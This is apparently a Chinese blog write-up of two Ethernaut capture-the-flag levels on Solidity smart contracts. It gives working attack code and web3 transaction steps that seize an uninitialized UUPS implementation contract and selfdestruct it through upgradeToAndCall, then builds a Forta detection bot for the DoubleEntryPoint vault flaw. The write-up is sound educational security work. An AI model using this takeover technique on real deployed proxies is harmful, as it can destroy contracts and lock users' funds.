// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
现在我们就要思考攻击的入口了。如果我们仍是以motorbike
为对象展开攻击,仍是以delegatecall
方式,那么即使自毁,销毁的也将是motorbike
合约。所以我们应该是以engine
为入口。考虑到engine
本身并没有自毁,且其也有升级方法,所以我们可以将engine
作为代理合约,自己新建业务合约,最终完成攻击。
我们先编写攻击合约,其实很简单,就是带有自毁函数的合约。部署后,其合约地址为0x3A69C8B5c1CB0Fb85485EfB3577E9d8f1131CB82
。
pragma solidity ^0.6.0;
contract Attacker {
constructor() public {
}
function destruct(address payable addr) public {
selfdestruct(addr);
}
}
如果我们想要发起攻击,就应当找到Engine
合约究竟是什么?通过Motorbike
可知,其地址作为值存储在slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
中。所以我们通过await web3.eth.getStorageAt(contract.address,'0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
获取Engine
合约地址为0x917e11b988a0aa6184ab8e129fb8bf61cb14cc70
。
此时,我们看一看Engine
的存储状态,其实都是为空,其原因是Engine
只作为函数的提供者,具体变量状态的存储则是通过Motorbike
执行。此时Engine
本身就是未经初始过的新合约!考虑到在修改业务合约时,需要保证player
的角色为upgrader
,所以我们将通过initialize
完成初始化。
我们通过await web3.eth.sendTransaction({from:player,to:engine,data:selector})
生成新的交易,此时Engine
合约已完成初始化,显示initialized
为1(true)
,initializing
为0(false)
,而upgrader
也变为了player
,对应的horsepower
也完成了修改。
此时,player
的角色已经修改为了upgrader
,所以我们可以调用upgradeToAndCall
完成业务合约的修改。
首先我们要构建调用合约时的data
,一般有几种方法。
selector + param
,分别算出函数选择器和参数并组合。(函数选择器也可以通过encodeFunctionSignature
完成)web3.eth.abi.encodeFunctionCall()
。destuct
的data
数据,我们现在要将其作为bytes
注入到upgradeToAndCall
中去,见下图:
我们通过await web3.eth.sendTransaction({from:player,to:engine,data:data2})
进行自毁,成功后Engine
函数已经完成自毁,存储消失,链上也显示了自毁成功!
这题其实比较简单,需要注意的其实是怎样找到切入点并构造正确的data。
根据先前的步骤,创建合约实例,其合约地址为0xb938Cc3cC6c3b97c41628AdEc6d409eEFeb4a824
。本关卡的要求是找到合约的漏洞,并通过forta
模式进行补救,防止合约被清空所有的代币。
纵观合约,总共有这么几个合约:Forta
、CryptoVault
、LegacyToken
和DoubleEntryPoint
,此外还有几个接口,分别是DelegateERC20
、IDetectionBot
。
我们将分开看看各个合约和接口都分别扮演了怎样的角色:
DelegateERC20 : 该接口应当实现delegateTransfer
方法,专门作为被委托代币合约。
IDetectionBot : 该接口应当实现handleTransaction
方法,针对传入的user
和msgData
变量进行校验,并判断交易是否成行。
IForta : 该接口应当实现setDetectionBot
、notify
以及raiseAlert
方法,能否辅助代币合约判断当前交易是否有效。
Forta : 该类实现IForta
接口,可以看到其模式:
SetDetectionBot
用来设置传入的地址为对应发起地址合约的检测bot。function setDetectionBot(address detectionBotAddress) external override {
require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}
notify
负责提醒detectionBot
对交易进行校验。function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}
raiseAlert
负责接受detectionBot
传来的警报。 function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
underlying
,该变量存储不可被交易的代币。同时该合约又定义了sweepToken
,顾名思义,可以取出合约中所存储的代币(除underlying
外),个人理解可能是为了保证合约中代币的纯净度。 function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
/*
...
*/
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
transfer
功能,即如果没有委托(即尚未停用),即表现正常,如果存在委托(即已经停用,进行了映射之类的),则转而调用委托合约中的delegateTransfer
方法。 function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
DelegateERC20
的接口,但值得注意的点是其delegateTransfer
只接受来自父合约(停用代币)的调用,当然该合约受到了forta
的保护,通过fortaNotify
这一修饰符实现forta
的交易前后校验。 function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
现在我们就要找找漏洞。根据题目中的提示the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT,也就是说合约既有停用代币,也有委托代币。如果我们在sweepToken
时试图除去停用代币,停用代币中的transfer
将会调用委托代币的delegateTransfer
方法,当两个合约余额相同时,其实也变相完成了侵入。问题就在这里,那么该怎么办呢?
其实我们在delegateTransfer
时应当检查,不应当是通过sweepToken
透过LegacyToken
完成,这就是我们的思路。
看一下 function handleTransaction(address user, bytes calldata msgData) external;
可知传入的msgData
是破题的关键。msgData
按照 forta.notify(player, msg.data);
来说应当是selector, to, value, origSender
。而这里的origSender
又是什么呢?其实是LegacyToken
被调用时的msg.sender
,后者在漏洞中就是cryptoVault
,否则将是其他正常地址,我们可以通过这里进行判断,就是看origSender
是否为cryptoVault
的地址。
pragma solidity ^0.6.0;
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract Attacker {
IForta iforta_ins;
address cryptoVault;
constructor(address _addr, address _addr2) public {
iforta_ins = IForta(_addr);
cryptoVault = _addr2;
}
function handleTransaction(address user, bytes calldata msgData) external {
address addr;
uint256 value;
address origSender;
(addr,value,origSender) = abi.decode(msgData[4:],(address, uint256, address));
if (origSender == cryptoVault){
iforta_ins.raiseAlert(user);
}
}
}
我们通过abi.decode
获取到参数,从4开始是为了截取函数选择器,拆分出addr(to)
、value
及origSender
,如果相等,则需要发出警报。(此处比较简单,是因为我觉得detectionBot
其实在本处应用就一个入口,就是当delegateTransfer
时唤醒操作,而我想sweepToken
操作是检测不到的,检测delegateTransfer
也没有意义)
现在来看,我们得到的contract
应该是DoubleEntryPoint
,地址为0x85b3686eeEC7092cb36F94566575906ec49767DF
,其cryptoVault
为'0x1C21b79f726eF47d923153A6c54eD18d62Ef2881'
,forta
合约为'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e'
。
部署攻击合约,其地址为0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e
。
手动通过await web3.eth.sendTransaction({from:player,to:'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e',data:data})
设置关联检测机器人。
提交实例!本关卡成功!
这就是观察者模式的变种,你们感觉到了吗?
很幸运,在长达3个月的持续更新里,我学到了太多东西,希望以后也能持续学习,给大家分享我的所见、所得、所感!